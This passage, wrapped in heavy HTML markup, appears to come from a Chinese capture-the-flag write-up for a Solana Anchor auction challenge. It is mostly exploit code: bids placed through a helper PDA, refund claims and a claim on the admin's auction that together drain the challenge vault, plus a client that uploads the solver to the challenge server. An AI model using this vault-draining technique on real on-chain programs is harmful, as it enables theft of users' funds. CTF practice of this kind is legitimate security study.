rgb(152, 195, 121);line-height: 26px;"><span leaf="">*</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3600</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::create_auction(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">CreateAuction</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auctioneer:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">auction_id,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Setup&#34;</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">.into(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">10_000_000,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">5_000_000,</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">end,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">settle)?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::place_bid(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">PlaceBid</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.player_bidder_state.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">6_000_000)?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::place_bid(CpiContext::new_with_signer(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">PlaceBid</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.helper_pda.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.helper_bidder_state.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">},</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;[seeds]),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">10_000_000)?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::claim_refund(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ClaimRefund</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.player_bidder_state.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}))?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::claim_winner(CpiContext::new_with_signer(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ClaimWinner</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">winner:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.helper_pda.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.helper_bidder_state.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auctioneer:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">},</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;[seeds]))?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::close_auction(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">CloseAuction</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auctioneer:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}))?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::create_auction(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">CreateAuction</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auctioneer:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">auction_id,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Heist&#34;</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">.into(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">100_000_000_000,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">50_000_000_000,</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">end,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">settle)?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::place_bid(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">PlaceBid</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.player_bidder_state.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">51_000_000_000)?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::place_bid(CpiContext::new_with_signer(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">PlaceBid</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.helper_pda.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.helper_bidder_state.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">},</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;[seeds]),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">100_000_000_000)?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::claim_refund(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ClaimRefund</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.my_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.player_bidder_state.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}))?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::place_bid(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">PlaceBid</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.admin_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.admin_bidder_state.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">10_000_000_000)?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::claim_winner(CpiContext::new(challenge_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ClaimWinner</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">winner:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auction:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.admin_auction.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">bidder_state:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.admin_bidder_state.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">auctioneer:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.admin_pubkey.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">vault:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.vault.to_account_info(),</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program.to_account_info()</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}))?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">Ok(())</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[derive(Accounts)]</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">pub</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">struct</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">Exploit&lt;&#39;info&gt;</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut)] pub player: Signer&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">pub challenge_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">Program&lt;&#39;info,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">Challenge&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">///</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">CHECK:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">vault</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut)] pub vault: AccountInfo&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">///</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">CHECK:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">auction</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut)] pub my_auction: AccountInfo&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">///</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">CHECK:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">state</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut)] pub player_bidder_state: AccountInfo&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">///</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">CHECK:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">helper</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">pda</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut, seeds = [b&#34;helper&#34;], bump)] pub helper_pda: AccountInfo&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">///</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">CHECK:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">helper</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">state</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut)] pub helper_bidder_state: AccountInfo&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">///</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">CHECK:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">admin</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">auction</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut)] pub admin_auction: AccountInfo&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">///</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">CHECK:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">admin</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">bidder</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">state</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut)] pub admin_bidder_state: AccountInfo&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">///</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">CHECK:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">admin</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">pubkey</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[account(mut)] pub admin_pubkey: AccountInfo&lt;&#39;info&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">pub system_program:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">Program&lt;&#39;info,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">System&gt;,</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">需要修改framework-solve的调用代码framework-solvesrcmain.rs如下，在framework-solve下运行cargo run</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">use anchor_lang::{system_program, InstructionData, ToAccountMetas};</span><span leaf=""><br/></span><span leaf="">use solana_program::pubkey::Pubkey;</span><span leaf=""><br/></span><span leaf="">use std::net::TcpStream;</span><span leaf=""><br/></span><span leaf="">use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr};</span><span leaf=""><br/></span><span leaf="">fn get_line&lt;R: Read&gt;(reader: &amp;mut BufReader&lt;R&gt;) -&gt; Result&lt;String, Box&lt;dyn Error&gt;&gt; {</span><span leaf=""><br/></span><span leaf="">    let mut line = String::</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span leaf="">();</span><span leaf=""><br/></span><span leaf="">    reader.read_line(&amp;mut line)?;</span><span leaf=""><br/></span><span leaf="">    let ret = line</span><span leaf=""><br/></span><span leaf="">        .split(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        .nth(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        .ok_or(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;invalid input&#34;</span></span><span leaf="">)?</span><span leaf=""><br/></span><span leaf="">        .trim()</span><span leaf=""><br/></span><span leaf="">        .to_string();</span><span leaf=""><br/></span><span leaf="">    Ok(ret)</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">fn </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf=""> -&gt; Result&lt;</span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">, Box&lt;dyn Error&gt;&gt; </span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    let mut stream = TcpStream::connect(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;223.6.249.127:XXXXX&#34;</span></span><span leaf="">)?;</span><span leaf=""><br/></span><span leaf="">    let mut reader = BufReader::</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span leaf="">(stream.try_clone().unwrap());</span><span leaf=""><br/></span><span leaf="">    let mut line = String::</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">new</span></span><span leaf="">();</span><span leaf=""><br/></span><span leaf="">    let so_data = fs::read(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;./solve/target/deploy/solve.so&#34;</span></span><span leaf="">)?;</span><span leaf=""><br/></span><span leaf="">    reader.read_line(&amp;mut line)?;</span><span leaf=""><br/></span><span leaf="">    writeln!(stream, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;{}&#34;</span></span><span leaf="">, solve::ID)?;</span><span leaf=""><br/></span><span leaf="">    reader.read_line(&amp;mut line)?;</span><span leaf=""><br/></span><span leaf="">    writeln!(stream, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;{}&#34;</span></span><span leaf="">, so_data.len())?;</span><span leaf=""><br/></span><span leaf="">    stream.write_all(&amp;so_data)?;</span><span leaf=""><br/></span><span leaf="">    stream.flush()?;</span><span leaf=""><br/></span><span leaf="">    let chall = Pubkey::from_str(&amp;get_line(&amp;mut reader)?)?;</span><span leaf=""><br/></span><span leaf="">    let solve = Pubkey::from_str(&amp;get_line(&amp;mut reader)?)?;</span><span leaf=""><br/></span><span leaf="">    let admin = Pubkey::from_str(&amp;get_line(&amp;mut reader)?)?;</span><span leaf=""><br/></span><span leaf="">    let user = Pubkey::from_str(&amp;get_line(&amp;mut reader)?)?;</span><span leaf=""><br/></span><span leaf="">    reader.read_line(&amp;mut line)?; </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 读取空行</span></span><span leaf=""><br/></span><span leaf="">    let (vault, _) = Pubkey::find_program_address(&amp;[b</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;vault&#34;</span></span><span leaf="">], &amp;chall);</span><span leaf=""><br/></span><span leaf="">    let my_auction_id: u64 = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">777</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    let (my_auction, _) = 